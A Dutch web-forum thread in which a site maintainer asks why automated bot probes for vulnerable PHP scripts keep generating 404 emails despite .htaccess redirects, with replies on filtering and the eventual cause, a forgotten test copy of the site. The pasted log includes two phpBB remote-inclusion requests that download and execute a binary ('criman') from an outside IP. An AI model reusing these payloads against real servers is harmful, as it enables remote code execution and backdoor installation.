bots/worms die 404s creëren, htaccess wordt omzeild

[marty]

Ik onderhoud een webpagina waarvoor ik een scriptje heb geschreven (in combinatie met een .htaccess file) dat alle 404s naar me toemailt. (er wordt dan een standaard php-pagina getoond die ook het mailen verzorgd)
Nou krijg ik de laatste tijd steeds vaker een stuk of 20 a 30 mailtjes tegelijk doordat er een bot of worm is langsgeweest die kennelijk op een kwetsbaar script heeft zitten checken. Een voorbeeldje van de pagina's die dan worden opgevraagd:

code:

/xmlsrv/xmlrpc.php
/xmlrpc/xmlrpc.php
/xmlrpc.php
/wordpress/xmlrpc.php
/phpgroupware/xmlrpc.php
/drupal/xmlrpc.php
/blogs/xmlsrv/xmlrpc.php
/blog/xmlsrv/xmlrpc.php
/blog/xmlrpc.php
/xmlrpc.php
/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmod%20744%20criman;./criman;echo%20YYY;echo|
/modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmod%20744%20criman;./criman;echo%20YYY;echo|
/phpmyadmin/main.php
/phpMyAdmin-2.2.6/main.php
/phpMyAdmin-2.5.6/main.php
/PMA/main.php

Nu wilde ik die pagina's opnemen in de htaccess file en redirecten naar een bestaande pagina zodat ik
1) niet dagelijks 30 onzin mailtjes krijg
2) de IPs kan loggen en ze eventueel opnemen in een spamlijst
3) de aanvaller mogelijk kan afschrikken

Ik heb ze dus ook opgenomen in m'n htaccess file en de aanvraag wordt nu dmv een 301 doorgestuurd naar een standaard-pagina en als ik nu bvb /xmlrpc.php in m'n browser opvraag dan krijg ik die standaard-pagina ook daadwerlijk te zien (en geen 404-mail in m'n inbox) waarbij die pagina me verteld dat m'n ip gelogd is (en ook dat werkt).

Nu zit ik echter nog met 2 problemen:
1) ik krijg nog steeds 404 meldingen op bvb /xmlrpc.php. Op één of andere manier wordt hun aanvraag dus niet door de htaccess file afgehandeld
2) ook al zou dat wel lukken ... hoe gaat dat eigenlijk in z'n werking? krijgt de script-kiddie een melding dat de pagina bestaat (omdat er geen 404 is), of krijgt deze alleen een melding als de pagina bestaat én er een lek gevonden is? Want in dat laatste geval zou het afschrikken iig nutteloos zijn.

[stappel_]

marty schreef op maandag 19 december 2005 @ 10:19:
2) ook al zou dat wel lukken ... hoe gaat dat eigenlijk in z'n werking? krijgt de script-kiddie een melding dat de pagina bestaat (omdat er geen 404 is), of krijgt deze alleen een melding als de pagina bestaat én er een lek gevonden is? Want in dat laatste geval zou het afschrikken iig nutteloos zijn.

nog veel minder. deze hack truc wordt vanuit een zombie pc gestart. (het blokeren van de source ip heeft dus geen nut want de hacker komt nooit meer terug vanaf die pc als hij slim is).

de hack is geheel autonoom en download automatisch een executable van een web server en voert deze uit op jou machine. de executable is vaak een backdoor die zich zelf aanmeld op een irc host.

je zit standaard alleen maar de xmlrpx.php in je logs, maar er wordt ook een argument mee gegeven. dit is alles wat ze sturen het resultaat gaat naar /dev/null. ze wachten niet eens op resultaat omdat als het lukt je machine zich toch wel aanmeld in het irc channel.

[JackBol]

Leuk dat je er zoveel energie in steekt, maar het loggen van 404's lijkt mij geen enkele waarde te hebben (wat kan je eruit afleiden?)

Als je je echt wilt verdedigen kan je beter je php + modules etc updaten naar de laatste versie.

[ Voor 4% gewijzigd door JackBol op 20-12-2005 10:53 ]

[Verwijderd]

Foutjes in hyperlinks van op die server draaiende sites localiseren lijkt me ??

[Koffie]

marty schreef op maandag 19 december 2005 @ 10:19:
[..]

Ik heb ze dus ook opgenomen in m'n htaccess file en de aanvraag wordt nu dmv een 301 doorgestuurd naar een standaard-pagina en als ik nu bvb /xmlrpc.php in m'n browser opvraag dan krijg ik die standaard-pagina ook daadwerlijk te zien (en geen 404-mail in m'n inbox) waarbij die pagina me verteld dat m'n ip gelogd is (en ook dat werkt).

Nu zit ik echter nog met 2 problemen:
1) ik krijg nog steeds 404 meldingen op bvb /xmlrpc.php. Op één of andere manier wordt hun aanvraag dus niet door de htaccess file afgehandeld
2) ook al zou dat wel lukken ... hoe gaat dat eigenlijk in z'n werking? krijgt de script-kiddie een melding dat de pagina bestaat (omdat er geen 404 is), of krijgt deze alleen een melding als de pagina bestaat én er een lek gevonden is? Want in dat laatste geval zou het afschrikken iig nutteloos zijn.

Snap ik het nou niet, of lees ik verkeerd

[marty]

Dirk-Jan schreef op dinsdag 20 december 2005 @ 10:52:
Leuk dat je er zoveel energie in steekt, maar het loggen van 404's lijkt mij geen enkele waarde te hebben (wat kan je eruit afleiden?)

Verwijderd schreef op dinsdag 20 december 2005 @ 12:20:
Foutjes in hyperlinks van op die server draaiende sites localiseren lijkt me ??

jup
precies dat. Er verandert nog al eens wat en op die manier weet ik het gelijk als er ergens een plaatje ofzo mist.
Het was eigenlijk puur een bij-effect dat ik op een gegeven moment ineens ook die aanvallen op die manier in m'n mail kreeg. En naast dat ik dat erg irritant vind (het zijn er al gauw 200 per week), dacht ik dat ik er misschien gelijk iets aan kon doen qua afschrikken.

Als je je echt wilt verdedigen kan je beter je php + modules etc updaten naar de laatste versie.

Dat is het probleem niet. Er draaien geen modules op de server, dus ik ben er niet kwetsbaar voor. Ik redeneerde meer op de manier dat als iemand op zo'n manier loopt te kloten ze wellicht ook andere dingen gaan proberen

Koffie schreef op dinsdag 20 december 2005 @ 12:40:
[...]

Snap ik het nou niet, of lees ik verkeerd

Het kan best zijn dat je het goed leest maar niet snapt: ik snap het zelf namelijk ook niet Vandaar ook mijn post hier
Ik snap niet waarom als ik zelf de pagina in m'n browser opvraag ik netjes geredirect wordt door m'n htaccess file, maar die worms e.d. nog steeds 404s veroorzaken op precies dezelfde file. Op één of andere manier lijkt dat dus wel om de htaccess heen te gaan.

[JackBol]

Verwijderd schreef op dinsdag 20 december 2005 @ 12:20:
Foutjes in hyperlinks van op die server draaiende sites localiseren lijkt me ??

Je hebt inderdaad gelijk. Op operationeel niveau kan dat natuurlijk interresant zijn. Ik zal naar het security aspect ervan te kijken. In dat geval zou het dweilen met de kraan open zijn. Waar het in ieder geval op neer komt is dat dit soort bots gewoon bekende vulnerabilities checkt, en daarbij regelmatig niet bestaande url's queried.

[marty]

Ik heb dit wegens drukte een tijdje links laten liggen, maar heb het probleem nog steeds. En het wordt steeds irritanter want inmiddels zijn het zeker 50 mailtjes per dag die ik binnenkrijg, van aanvallen die naar lekken in phpmyadmin, mambo, etc. zoeken.

Heeft iemand enig idee hoe het kan dat deze bots een 404 genereren en niet geredirect worden volgens de 301 die ik in m'n htaccess heb gedefinieerd?

nogmaals: als ik zelf in m'n browser de paginas opvraag, dan wordt ik wel netjes geredirect; de htaccess-file lijkt dus wel degelijk te werken.

[kamerplant]

Wellicht negeren deze bots de 301 header waardoor ze alsnog een 404 error genereren?

Ik zou het volgende doen. Log alle 404 meldingen inclusief de referer naar de database. Op die manier kun je dagelijks eventjes bekijken welke niet bestaande pagina's het meest worden opgevraagd en welke pagina hiernaartoe linkt. Dat is veel netter dan zo'n spam bot, helemaal als je website straks duizenden hits per dag krijgt ofzo.
Je kunt spambots er ook uit filteren door geen mailtje te laten sturen indien er geen referer is. Handmatig URLs filteren is imo redelijk tweaker onwaardig.

[GlowMouse]

Als je het filteren van onnodige files in je mail-pagina afhandelt, is het debuggen misschien makkelijker dan via .htaccess.
Je kunt daar ook makkelijker regels opnemen als 'als zowel phpmyadmin en main.php in de url voorkomt'.

Wellicht negeren deze bots de 301 header waardoor ze alsnog een 404 error genereren?

De pagina is dan toch al opgevraagd; je kunt er als client niet voor kiezen om een 301 te negeren.

[ Voor 32% gewijzigd door GlowMouse op 16-04-2006 18:08 ]

[Koffie]

Move NT > SN

[smesjz]

Is het niet makkelijker om zo'n 404 handler te scripten in PHP? Via ErrorDocument kan je dan alle requests zonder HTTP_REFERER er uit filteren voor dat je iets mailt.

Of bij het rotaten van je logs kan je iets maken als: grep ' 404 ' /var/log/apache2/access.log | sort | uniq | mail blablabla ? Zodat je maar 1 keer per dag een mail krijgt.

Maar het is misschien ook wel handig om te weten wanneer er ergens een plaatje ontbreekt bijv: [img]"images/blaat/"[/img] je dan geen 404 krijgt maar een 403 (Directory listing denied o.i.d. of You do not have persmission to ....). Dat wordt dan niet gelogged maar is wel handig om te weten denk ik. Bovenstaande geldt natuurlijk alleen als je geen Options +Indexes gebruikt.

[marty]

Het bleek dat er nog een kopie van de website was - inclusief oude htaccess file - die op een test-domein draaide die tevoorschijn kwam als je naar het ip van de webserver ging
Daar kwam ik achter op het moment dat ik m'n error-404 script aan ging passen en de veranderingen niet zag. Naja...het verklaart gelukkig een hoop